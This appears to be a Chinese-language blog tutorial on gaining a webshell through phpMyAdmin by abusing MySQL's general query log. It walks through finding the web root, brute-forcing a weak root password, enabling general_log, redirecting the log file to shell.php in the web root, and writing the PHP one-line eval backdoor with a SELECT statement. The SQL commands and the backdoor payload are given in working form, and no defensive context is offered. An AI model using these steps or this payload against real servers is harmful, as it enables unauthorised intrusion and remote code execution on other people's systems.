<返回更多

phpMyAdmin利用日志文件GetSHELL

2019-10-29    
加入收藏

phpMyAdmin简介

phpMyAdmin 是众多MySQL图形化管理工具中使用最为广泛的一种,是一款使用PHP 开发的基于B/S模式的MySQL客户端软件,该工具是基于 Web 跨平台的管理程序,并且支持简体中文,用户可以在官网上下载最新版本的。

GetSHELL前提

1、phpMyAdmin利用日志文件GetSHELL前提账号必须有可读可写权限

2、MySQL版本大于5.0,MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以GetSHELL

3、满足上方两个条件,还需要知道网站的绝对路径,对于网站的绝对路径查找有很多方法,在我上一篇文章里有讲解到:传送门

GetSHELL过程

phpMyAdmin利用日志文件GetSHELL

 

 

这边是通过php探针获取到了网站的绝对路径:C:/phpStudy/WWW

phpMyAdmin利用日志文件GetSHELL

 

 

接着是通过弱口令爆破来得到了phpMyAdmin的登陆账号密码:root

phpMyAdmin利用日志文件GetSHELL

 

 

进入到phpMyAdmin管理页面后,得到一些关键信息:

服务器: localhost via TCP/IP
软件: MySQL
软件版本: 5.5.40 - MySQL Community Server (GPL)
协议版本: 10
用户: root@localhost
服务器字符集: UTF-8 Unicode (utf8)
Apache/2.4.10 (Win32) OpenSSL/0.9.8zb PHP/5.2.17
数据库客户端版本: libmysql - 5.0.51a
PHP 扩展: mysqli 文档

得知MySQL的版本是大于5.0,那么应该可以通过日志写入shell

查看日志的信息

phpMyAdmin利用日志文件GetSHELL

 

 

show variables like '%general%';

日志读写默认是关闭的OFF,然后我们打开日志读写功能:

phpMyAdmin利用日志文件GetSHELL

 

 

打开general_log日志读写功能
SET GLOBAL general_log='on'

 

phpMyAdmin利用日志文件GetSHELL

 

创建文件

由于之前我们通过php探针得到了网站的绝对路径,然后我们就可以写入shell.php到网站的根目录下:

phpMyAdmin利用日志文件GetSHELL

 

 

SET GLOBAL general_log_file='C:/phpStudy/WWW/shell.php'

这个时候,对应的路径下就会生成一个shell.php脚本文件:

phpMyAdmin利用日志文件GetSHELL

 

 

写入一句话到shell.php

PHP一句话木马:

1
<?php @eval($_POST[liuwx]);?>

写入一句话语句:

1
SELECT '<?php @eval($_POST[liuwx]);?>'

 

phpMyAdmin利用日志文件GetSHELL

 

 

这个时候就成功写入一句话到了shell.php里:

phpMyAdmin利用日志文件GetSHELL

 

 

成功GetSHELL:

phpMyAdmin利用日志文件GetSHELL

 

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>